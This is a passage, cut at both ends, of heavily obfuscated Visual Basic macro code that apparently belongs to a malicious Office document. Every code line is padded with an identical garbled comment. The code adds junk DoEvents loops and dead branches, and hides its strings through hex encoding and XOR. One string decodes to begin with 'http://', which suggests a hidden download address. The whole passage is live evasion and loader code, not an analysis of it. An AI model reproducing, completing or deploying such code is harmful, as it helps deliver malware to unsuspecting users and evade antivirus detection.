  1138. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1139. DoEvents
  1140. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1141. Next TgKSeyNn
  1142. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1143.        MsgBox (XORI(Hextostring("280310362F2C3A05635A"), Hextostring("4355526F4B6A")))
  1144. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1145. End If
  1146. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1147. If Len(XORI(Hextostring("3814132B3C191E3858404D7C"), Hextostring("6C777A4F"))) = Len(XORI(Hextostring("0E3F1C3129212B35"), Hextostring("6C75457A"))) Then
  1148. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1149. Dim TtVIwRWB As Integer
  1150. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1151. For TtVIwRWB = 0 To 1
  1152. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1153. Dim DlXxsHgI As Integer
  1154. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1155. For DlXxsHgI = 0 To 3
  1156. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1157. DoEvents
  1158. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1159. Next DlXxsHgI
  1160. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1161. DoEvents
  1162. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1163. Next TtVIwRWB
  1164. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1165. Dim CsatdOXM As Integer
  1166. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1167. For CsatdOXM = 0 To 5
  1168. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1169. DoEvents
  1170. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1171. Next CsatdOXM
  1172. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1173.       MsgBox (XORI(Hextostring("363E141C3E46526D47"), Hextostring("734C66")))
  1174. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1175. End If
  1176. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1177. Dim ehEdcrPP As Integer
  1178. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1179. For ehEdcrPP = 0 To 6
  1180. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1181. Dim APCxzBzE As Integer
  1182. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1183. For APCxzBzE = 0 To 1
  1184. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1185. DoEvents
  1186. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1187. Next APCxzBzE
  1188. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1189. DoEvents
  1190. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1191. Next ehEdcrPP
  1192. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1193. Dim BNySOwYi As Integer
  1194. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1195. For BNySOwYi = 0 To 5
  1196. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1197. DoEvents
  1198. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1199. Next BNySOwYi
  1200. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1201.    Set TANDPOVQGQA = Nothing
  1202. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1203.  
  1204. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1205. If 356199 = 356199 + 1 Then End
  1206. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1207. If 3467 < 66 Then
  1208. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1209. Dim AvsDRODC As Integer
  1210. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1211. For AvsDRODC = 0 To 1
  1212. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1213. Dim golOOMSu As Integer
  1214. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1215. For golOOMSu = 0 To 8
  1216. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1217. DoEvents
  1218. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1219. Next golOOMSu
  1220. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1221. DoEvents
  1222. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1223. Next AvsDRODC
  1224. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1225. Dim bavkPDml As Integer
  1226. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1227. For bavkPDml = 0 To 9
  1228. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1229. DoEvents
  1230. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1231. Next bavkPDml
  1232. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1233.        MsgBox (XORI(Hextostring("213B19090B0C3B23656B"), Hextostring("74694E5159")))
  1234. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1235. End If
  1236. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1237. If Len(XORI(Hextostring("360E041C3C263A3A78767C49"), Hextostring("624C454D714443"))) = Len(XORI(Hextostring("1D330638300B001B"), Hextostring("515A5171467869"))) Then
  1238. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1239. Dim PvFnBvZe As Integer
  1240. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1241. For PvFnBvZe = 0 To 8
  1242. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1243. Dim bVDsMEJT As Integer
  1244. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1245. For bVDsMEJT = 0 To 6
  1246. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1247. DoEvents
  1248. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1249. Next bVDsMEJT
  1250. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1251. DoEvents
  1252. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1253. Next PvFnBvZe
  1254. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1255. Dim CdXAANmp As Integer
  1256. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1257. For CdXAANmp = 0 To 8
  1258. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1259. DoEvents
  1260. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1261. Next CdXAANmp
  1262. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1263.       MsgBox (XORI(Hextostring("171F3D3B1B536C734C"), Hextostring("526D4F5469734D")))
  1264. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1265. End If
  1266. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1267. Dim oIlyNVlF As Integer
  1268. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1269. For oIlyNVlF = 0 To 3
  1270. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1271. Dim XllObLEl As Integer
  1272. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1273. For XllObLEl = 0 To 8
  1274. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1275. DoEvents
  1276. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1277. Next XllObLEl
  1278. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1279. DoEvents
  1280. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1281. Next oIlyNVlF
  1282. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1283. Dim KLqlBKsn As Integer
  1284. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1285. For KLqlBKsn = 0 To 7
  1286. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1287. DoEvents
  1288. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1289. Next KLqlBKsn
  1290. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1291.    
  1292. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1293.  
  1294. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1295. End Function
  1296. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1297. Sub DRBDBIEYZQO()
  1298. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1299. If 871414 = 871414 + 1 Then End
  1300. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1301. If 2769 < 11 Then
  1302. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1303. Dim WhzvCyaA As Integer
  1304. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1305. For WhzvCyaA = 0 To 7
  1306. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1307. Dim DMXXfuzi As Integer
  1308. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1309. For DMXXfuzi = 0 To 8
  1310. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1311. DoEvents
  1312. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1313. Next DMXXfuzi
  1314. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1315. DoEvents
  1316. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1317. Next WhzvCyaA
  1318. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1319. Dim fHFvpnwU As Integer
  1320. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1321. For fHFvpnwU = 0 To 2
  1322. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1323. DoEvents
  1324. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1325. Next fHFvpnwU
  1326. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1327.        MsgBox (XORI(Hextostring("04030F0D23132122517C"), Hextostring("4E4162")))
  1328. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1329. End If
  1330. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1331. If Len(XORI(Hextostring("07162E053E3C0323627C4663"), Hextostring("775A46514A"))) = Len(XORI(Hextostring("021B19123626052B"), Hextostring("6E4E5A536C69"))) Then
  1332. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1333. Dim XuGxlNBQ As Integer
  1334. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1335. For XuGxlNBQ = 0 To 4
  1336. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1337. Dim mVAEChBz As Integer
  1338. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1339. For mVAEChBz = 0 To 9
  1340. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1341. DoEvents
  1342. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1343. Next mVAEChBz
  1344. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1345. DoEvents
  1346. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1347. Next XuGxlNBQ
  1348. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1349. Dim RKAZNayM As Integer
  1350. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1351. For RKAZNayM = 0 To 1
  1352. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1353. DoEvents
  1354. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1355. Next RKAZNayM
  1356. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1357.       MsgBox (XORI(Hextostring("2A3F342D3F45524E6C"), Hextostring("6F4D46424D6573")))
  1358. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1359. End If
  1360. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1361. Dim LAemszLB As Integer
  1362. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1363. For LAemszLB = 0 To 4
  1364. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1365. Dim MNKgJAAQ As Integer
  1366. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1367. For MNKgJAAQ = 0 To 4
  1368. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1369. DoEvents
  1370. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1371. Next MNKgJAAQ
  1372. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1373. DoEvents
  1374. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1375. Next LAemszLB
  1376. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1377. Dim ZrnUDFDu As Integer
  1378. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1379. For ZrnUDFDu = 0 To 1
  1380. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1381. DoEvents
  1382. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1383. Next ZrnUDFDu
  1384. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1385. fdGIVJK = XORI(Hextostring("122D04324B41471138072312060103385E20181447102A5F201800461F2115"), Hextostring("7A597042716E68"))
  1386. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1387.  
  1388. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1389. If 153379 = 153379 + 1 Then End
  1390. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1391. If 5233 < 17 Then
  1392. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1393. Dim QmuzRrxl As Integer
  1394. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1395. For QmuzRrxl = 0 To 2
  1396. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1397. Dim WCysYfBf As Integer
  1398. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1399. For WCysYfBf = 0 To 4
  1400. 'ÈÒÐÎ Ï87öï ãïÃØÀ(8ï4-å9ã3-4ðøìØ ÎÌÐÎÌ Àëî ù3àðõçù ÏØÃÌØÃËÈÄàêó
  1401. DoEvents
